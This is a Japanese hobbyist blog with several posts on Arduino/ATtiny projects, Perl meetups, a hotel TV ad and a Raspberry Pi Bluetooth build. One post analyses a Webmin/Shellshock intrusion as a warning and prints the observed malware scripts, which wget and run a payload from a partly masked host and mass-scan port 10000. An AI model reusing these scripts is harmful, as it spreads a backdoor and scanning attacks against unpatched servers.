M.C.P.C. (Mamesibori Creation Plus Communication)

印刷屋から五反田のWeb屋に転職したCLのブログです。

#gotandapm #3でLTしてきた

会社の近くでGotanda.pm #3があったので、行ってきたよ。

テーマがAPIだったので、WebAPIで最近あった事件をライトニングトークしてきました。

プレゼンは

CLCL/gotandapm03lt · GitHub

使った小道具はATtiny85で作ったArduinoのサブセット(書き込み方法は Arduino Pro Mini 328 3.3Vを8ピンAVRマイコン書き込み専用ISPにする - M.C.P.C. (Mamesibori Creation Plus Communication)

f:id:C_L:20141218004535j:plain

もはやArduinoですらない……

曲げセンサーを曲げないと白、

f:id:C_L:20141218005858j:plain

曲げセンサーを曲げると赤、

f:id:C_L:20141218005913j:plain

マイコンでプログラムしているのでFPSとかないのでぬるぬる変わるよ!

#include <Adafruit_NeoPixel.h>

#define RGBREDPIN 2
#define SENSORPIN A3
Adafruit_NeoPixel pixels = Adafruit_NeoPixel(1, RGBREDPIN, NEO_GRB + NEO_KHZ800);

void setup() {
  pinMode(SENSORPIN, INPUT);
  pixels.begin();
}

void loop() {
  
  int a = analogRead(SENSORPIN);
  int c = a - 450;
  if ( c < 0) {
    c = 0;
  }
  else if ( c > 255) {
    c = 255;
  }
  delay(10);
  pixels.setPixelColor(0, pixels.Color(255-c, 255 ,255-c));
  pixels.show(); 
}

皆さんお疲れ様でした!

Arduino Pro Mini 328 3.3Vを8ピンAVRマイコン書き込み専用ISPにする

Arduinoをいじっているとだんだん気になるのが、マイコンのICだけでArduinoのスケッチ(プログラム)が動かせるっていうことです。Arduino Unoなどの標準的なArduino機に使われているATmega 328P-PUを引っ剥がしてブレッドボード上で動かす、ていうのもできるのですけれども、秋月電子に行くとATtiny13A、マルツに行くとATtiny85などの8ピンのマイコンが売っていて、これにプログラムさえ書き込んでしまえば乾電池だけでマイコンが動作するっていうじゃないですか。わたし、気になります

ほんで、秋月電子から1個50円でATtiny13A、千石電商から1個200円でATtiny85を仕入れてきました。

f:id:C_L:20141110235154j:plain


AVRマイコン ATTINY13A−PU: マイコン関連 秋月電子通商 電子部品 ネット通販


AVRマイコン ATTINY85-20PU Atmel製|マルツオンライン

今回は、これら8ピンAVRマイコンにプログラムを書き込む8ピン専用ライタを、あまり作例の見ないArduino Pro Mini 328 3.3V(互換機)で作ってみることにします。

なんでPro Mini 328“3.3V”を使うの?

Arduinoはシールドが乗っかるタイプはおおむね5VなのでArduinoは基本的に5Vの世界なのですけれども、Arduinoの外の世界の今どきのセンサー類は3.3Vのものが多いですし、Pro Mini 3.3Vならば、RAW(普通のArduinoでいうVinピン)に5Vを入れると、VCCに3.3Vが出てくれるので、3.3V出力レギュレータの役割も果たしてくれます。3.3V Arduinoシステムだと出力ピンからの信号も3.3Vになり、順電圧3.0~3.2V付近のLEDが焼け死ぬことがないので、いろいろ楽ができます。

逆に、Pro Mini 5Vの場合、RAWに7Vぐらい入れてVCCに5Vを出させるか、VCCに直接5Vを入力するかのどちらかになりますが、結局5Vの電圧の電源しか得られないのです。

なんでPro Mini 328“互換機”でArdouino as ISP

中国通販価格で、1個300円だからです。ウェブのあちこちで見る、ArduinoISPとして使う作例は、Arduino Unoを使っていたりするのですが、毎回Arduino UnoにISPスケッチを書き込んで、配線するのも大変そうです(配線は暗記できるほど簡単ですが)。

大量に持っている1個300円のArduino Pro Mini互換機で作って、しかもそれをArduino as ISPとして常設にしてしまえば、いつでも気軽に8ピンAVRマイコンをプログラムできます。

Arduinoが高い高いと嘆く声ををネットでよく耳にしますが、このような廉価なモデルを併用すれば全然高くないです。ちなみに、動作確認用に、本物のArduino Pro Mini 328 5V/3.3Vも持っておいた方がいいのは言うまでもありません。

作例

ブレッドボードにこんな感じで組んでみました。

f:id:C_L:20141111011456p:plain

f:id:C_L:20141111001036j:plain

f:id:C_L:20141111001108j:plain

使い方

あらかじめ、

ATtiny 13A用として

ATtiny13をArduino IDEで使う(暫定版): 構想100年

ATtiny 85用として

Arduino IDEでATtiny他の開発(Arduino-ISP編) | Make | kosakalab

を参考にして、hardwareディレクトリに各マイコン用のファイルを解凍しておく(スケッチ転送対象マイコンに出てくるようになる)。

Auruino IDEを起動したら、[ファイル]‐[スケッチの例]‐[ArduinoISP]を選択し、Arduino ISPのプログラムを読み込んで、Arduino IDEからマイコンボードを「Arduino Pro/Pro Mini 328(3.3V,8MHz)」 、シリアルポートを通常書き込むときのCOMポートを選び、書き込み。この時点で、このArduino Pro Mini(互換機)は、書込装置「Arduino as ISP」になりました

次に、ブレッドボードに配置して結線を確認して、9ピンとGNDを順電圧3.1VぐらいのLED等でハートビート発光になっているのを確認して(パイロットランプの役割)、7ピンとGNDをやっぱり順電圧3.1VぐらいのLEDでつないでおきます(これは書き込み時に点滅します)。今回作例は3.3VのArduinoなので、LEDに直列につなぐ抵抗は省略です。

書き込み機が完成したら、今度はArduino IDEで新規にスケッチを作り、適当なプログラム(空でもよい)を作ります。

8ピンマイコンの書き込みをするため、書込装置に「Arduino as ISP」を選びます。そう、さっき完成したPro Miniのブレッドボードのことですよ!

Ardouino IDEで、マイコンボードとして「bitDuino 13(internal 9,6MHz)」「ATtiny85(internal 8MHz clock)」などを選びます。COMポートはいつものArduino Pro Miniを書き込むポートでOKです。

ブレッドボードのICソケットにマイコンの向きを確認して置き、指でそっと押さえておきます。その状態で書き込みをします。

f:id:C_L:20141111001252j:plain

書き込み時に若干のエラーが出ますが、書き込みが終わっています。マイコンをソケットから外してください。

書き込み手順は、こんな感じなんですが、何せ8ピンなんで、動作確認するアプリケーションがめんどうですよね。

今回のまとめ

  • ArduinoでAVRマイコンにプログラムを書き込むArduino ISPという仕組みがある
  • ネットに出ている情報はArduino Unoを使った作例ばかり
  • Arduino Pro Mini 328 3.3V/8MHzでArduino ISPを常設する作例を提案
    • 3.3Vだから安全
    • 中国製のPro Mini互換機を使うと300円ぐらい
  • できた!

次回

次回は、ATtiny13A用のスケッチでLチカとかせずにいきなりルーレットマシンを作ります。

f:id:C_L:20141111004913j:plain

Arduino Pro Mini 328 3.3V 8MHz

Arduino Pro Mini 328 3.3V 8MHz

FTDI USBシリアル変換アダプター(5V/3.3V切り替え機能付き)

FTDI USBシリアル変換アダプター(5V/3.3V切り替え機能付き)

Arduino使用UNIX時間表示7セグメントLED表示器を作った

f:id:C_L:20141020015835j:plain

Arduinoを使った、UNIX時間(よくUNIXエポックとかいいますがあれです)を7セグメントLEDで表示する置時計を作りました。

GitHubに置きました。

CLCL/unixtime_7segclock · GitHub

先日のPerl Beginners #15のスライドの中でも出て来ていた(現物も持って行ってた)ものですが、

Perl Beginners #15でPerl OOPの素朴な質問(+いらないもの)を発表した #perlbeginners - M.C.P.C. (Mamesibori Creation Plus Communication)

その時の製作物は入力スイッチ一つしかなかったので単体で時刻合わせが出来なかったんですよね(PCから時刻合わせしていた)。昨日入力スイッチをもう一つ追加して、デジタル時計のように時刻合わせができるようになりました……

前出勉強会の会場で3名様にArduino Pro mini互換機を頒布しましたところ(←Perlの勉強会なのに何しているの)、Arduinoのスケッチ(プログラム)が欲しいと言われましたので、ご査収ください。

問題は、現時点で10桁7セグメントLED表示器が品切れになっていることです。このプロダクトで一番めんどいところが10桁7セグどう調達するか、ていうことなので(二番目にめんどいのがアクリルをカスタムサイズで調達してアクリサンデーで接着するところ)、10桁7セグ表示器の在庫が復活してほしいものです。8桁のなら中国から簡単に入手できるんですけど……

Arduino Pro Mini 328 3.3V 8MHz

Arduino Pro Mini 328 3.3V 8MHz

Perl Beginners #15でPerl OOPの素朴な質問(+いらないもの)を発表した #perlbeginners

昨日(2014/10/7)渋谷で行われたPerl beginners #15に、ビギナーズセッション枠で発表しようと思ったはいいものの、自分が質問したい内容が先にあって、勉強会テーマの「便利ツール」っていうのをものすごく見落としていて、セッション登録後気づいて間に合わせで便利ツールっていうテーマに合わせた何かをくっつけたプレゼンがこちらになります。

スライドに書いてないトーク中のやり取りとして

  • ArduinoUNIX時間表示LED時計のときにUNIX時間に関して見覚え有りますかと聞いたが確実に知っていそうな人も目をそらす。どうやら皆のトラウマになっているようだ
  • UNIX時間時計を作れるパーツ、手元に余っていた中国輸入Arduino Pro mini 3.3V互換機とRTCモジュールを3名に無償頒布した(部品で一番高いのはブレッドボード)
  • 手元に余っていた10桁LED用のスモークブラウンアクリルパネルを無償頒布した
  • 中国の輸入部品って爆発しませんか?→爆発しないしRTCもわりと精度よい(爆発しがちなのはLi-Po電池でどこの国製でもシビア)
  • 質問しに来たのに答えまで書いてあるけど資料作っていた前日にやってみたらできてしまった(プロレスみたいだとの声あり)

みたいな感じでした。

補足事項として、

  • 無償で頒布したArduinoProMini互換機は3.3V版ですが、CP2102 USBシリアル変換は5Vで出荷されています。ProMini互換機は5Vトレラントっぽいので動くことは動くんですが(てか当初CP2102から5Vが出ていると気づいていなかった)、よくはないので、CP2102基板上の5V配線をパターンカットして3.3Vのランドをハンダブリッジする必要があるんですよね。
  • CP2102ドライバはググって出てくるやつで。Mac版は、うーん……自動リセット効かないとかいう書き込み多いですよねCP2102
  • Arduino互換機が中国からだと安い、ていうのにご反応いただいた件で、どうやって買うかっていうとAliExpressです。早い業者だと1週間で届きます。でも、大事なプロダクトに使う分は国内業者の正規Arduinoを買ってあげてほしい感じです。
  • ICQの古いアッォー音に関してはググれば出ます。GitHubには乗っけていません(ディレクトリ内にwavファイル置いておけば鳴るように作ってます)
  • プレゼンで使っていたゴシック体が気になっている方がいましたが、モリサワの新ゴです。印刷屋のときにお小遣いで購入しておいたのだ

そんなところです。

勉強会が終わった後の懇親会は渋谷の一番搾りガーデンで、@__papix__さんのフリー素材がどんどん増えていく様を楽しく見学させてもらいました!(最近Perlの行事に積極的に参加されている@__papix__さんは行く先々で写真を撮られて公開されまくっている)

まとめ出てたので貼る

(2014-10-8 23:51追記)

Webminの脆弱性+bashの脆弱性でトロイの木馬がroot権限で入る

bash脆弱性(Shellshock)が発覚した後、Webminが1.710でShellshock脆弱性対策をされていたり、bash自体も対策版アップデートが出ていますが、Webminってroot権限で動いているということで、対策できていないWebminだと、root権限でリモートから不正コマンドを実行されてしまうわけで、ここ数日未対策Webminを狙った攻撃が喧しいです。

うちの観測だと、トロイの木馬侵入成功後、こんなくそコードが実行される

#!/usr/bin/perl

my $a = int(rand(225));
my $b = int(rand(255));;
print "scanning $a.$b.0.0\n";
system("killall pnscan;cd /tmp;wget http://82.165.xxx.xxx/t.gz -O tmp.gz;tar xf tmp.gz;rm -rf tmp.gz;cd tmp;make clean;make lnx;rm -rf pnscan.c");
system('cd /tmp;cd tmp;./pnscan -w"GET /webmin/index.cgi HTTP/1.0\r\n\r\n" '."$a.$b".'.0.0/8 10000;rm -rf /tmp/t.gz;rm -rf /dev/shm/*;rm -rf /run/shm/*');

これはものすごい勢いで外部IP(/16!)の10000/TCP(Webminが標準で設置されている)に攻撃しかけるやつです。

動かすとおそらくローカルポートを食い尽くしてnetstatがものすごい長く表示され、メモリが少ないマシンだとconntrackテーブルがあふれてパケロスが発生しだすと思います。Webサイトが一発で表示できなくなったりしたらそのサーバがやられている可能性あり……

Webminもbashも放置されているサーバ多そうだし、DDoSがひどくなりそう

(2014-10-8 13:40追記)

他の方が侵入された時の挙動を報告されていました

DTIのVPSのServersManがハッキングされた?(検証編) perlとシェルスクリプト

(2014-10-8 17:40追記)

このトロイの木馬はBackdoor.Linux.Tsunamiというタイプのマルウェアに分類されているやつなんです。wgetするプロセスがアンデッドのようによみがえってくる仕組みなんですけれども、Webminの脆弱性で侵入された場合、斥候スクリプトはWebminの実行ディレクトリ(RPMで入れた場合は /usr/libexec/webmin)をカレントディレクトリにして謎の8文字のコマンドが起動されます。

#!/bin/sh
str=`date | md5sum | head -c8`
wget http://82.165.xxx.xxx/img.png -O $str;chmod +x $str;./$str;rm -rf $str
echo $str

謎のimg.pngが実行コマンドとしてゲットされて、$strに入った謎の8文字をコマンド名として実行されます。

よって、メモリにそれがいる限りゾンビのごとくwgetで外部に読みに行く部分が動きますので、lsof /usr/webexec/webmin を実行して出てきたプロセスを全KILLすることでメモリに残っているマルウェアを停止。Webminも死ぬ。

そして、cronの謎記述も除去する(先のリンクのウェブサイトでやっておられること)。

※Webminとbashは更新しておかないとまたやられるので注意。あとここまでやられたらサーバ作り直すべき

(2014-10-9 1:39追記)

"Shellshock"に乗じるマルウェアの動向 - Websense Security Labs | マイナビニュース

ここ数日ServersManとかConoHaとかネットワーク障害が出ているの、タイミング的にこれじゃないかなあと思っています。特にConoHaは「影響を及ぼしていた対象の通信につきましては遮断を実施」ってアナウンスされているし(会員にメールが来ている)いかにもそれっぽい

(2014-10-10 14:22追記)

TCP 10000番ポートへのスキャンの増加に関する注意喚起

  1. 概要

JPCERT/CC では、TCP 10000番ポートへのスキャンが 2014年9月下旬より増加 していることを、インターネット定点観測システム (以下、TSUBAME) *1 にお いて確認しています。

TCP 10000番ポートは、ウェブベースのシステム管理ツールである Webmin の 標準ポートとして利用されることが多く、開発者によると Webmin は先日公開 された GNU bash脆弱性の影響を受けるとのことです。

2014年の南三陸ホテル観洋CM

三陸ホテル観洋といえば、ホテルの名前は覚えていなくても、「おもわず手が出るこのボリューム!」(わかめブラの美女の胸におもわず手が出ている映像)「美女もビックリ、アワビもドッキリ!」と言われればある年代以上の東北人は思い出すセクシーCMでお馴染みです。

当時のちびっこに「おっぱいにはおもわず手を出していいものである」という謎マーダーライセンスを植え付けたのですが、日常生活でおっぱいにおもわず手を出していいのはおっぱいパブに入店して当店のシステムを説明受けたあとサービスタイムになってからであるということを後年知った。マーダーライセンスなんてなかった。

そんないまだにおっぱいにおもわず手を出せない連中に心の傷を負わせ続けるホテル観洋のCMの記憶も最近特に思い出すこともなく心に安寧が訪れていたのですけれども、最近思わぬところで南三陸ホテル観洋が登場したのでした。

リクナビNEXTのCMで出てきたのが、よーくみたら南三陸ホテル観洋でした!

くそーすっかり忘れていたのに! リクナビNEXTよ、僕にもいい転職先案内してください!(全くいいの来ない)

なお、南三陸ホテル観洋は、観光ホテルとして有名なところなので東北に旅行するときは検討してみてもいいと思います。僕は行ったことないけどすげー評判いい。

五反田もくもく会でArduinoプロトタイピングしてきた #でぶつー

19時スタートということでしたが、今の勤務先は12時出勤21時退勤なので、時間が合せられず、公休入れ替えで参加。

モバイルファクトリーさんは東五反田にあり、僕の勤務先からもまあまあ近いながら中身はおしゃれなオフィスで、こういう環境でカジュアルに勉強会に参加できるのも、わざわざ新潟から東京に出てきたかいがあるというものです。

もくもく会で作ったもの:Raspberry PiからArduinoに送信して文字を表示するやつ

外見はこんな感じです。

f:id:C_L:20140911001734j:plain

※Raspberry Pi側でなんか光っているやつは今回のやつとは関係ないAnyEventを使ったTwitterクライアントです https://gist.github.com/CLCL/dca6b9963a1deff9e76a

役割分担はこんな感じ。テストではもくもく会の会場の中で8メートルぐらいは電波が飛んだ。

f:id:C_L:20140911001742j:plain

Raspberry Piは単純にBluetoothドングルを刺しただけで難しいことはないので、Arduinoのほうを。

f:id:C_L:20140911001753j:plain

内わけはこんな感じになってます。中国パーツが狂ったように安く、技適通っているBluetoothモジュールが狂ったように高いという感じになっています。技適通っていない中国Bluetoothパーツなら$5ぐらいで安いですが当然国内じゃ使えません……

f:id:C_L:20140911001804j:plain

もくもく会でもくもく中に得られた知見は

  • Auduinoは備え付けのシリアルのほかに、#include <SoftwareSerial.h>で任意のピンをシリアルとして設定して使える(写真でBTモジュールからのTX/RXがジャンパー線なのは、もともとArduinoのシリアルピンと排他利用で差し替えていた時の名残です)
    • つまり、ソフトウェアシリアルピンから入力して、シリアルピンに吐き出す(Arduino IDEのシリアルコンソールに表示)とかできる
  • Arduino 8MHzだと115200bps出ない(8MHz系PC-9801かよっ!←計算上マジで出せない。115200bpsにドンピシャな分周比が無い、ニアリーでも許容誤差から外れる)
  • String型便利なんだけど、char Arrayのポインタ要求するから変換せななー

あたりです。デモ失敗した。そんなもんや。

会場設営の皆さん、参加者の皆さん、お世話になりました。

Arduino Pro Mini 328 3.3V 8MHz

Arduino Pro Mini 328 3.3V 8MHz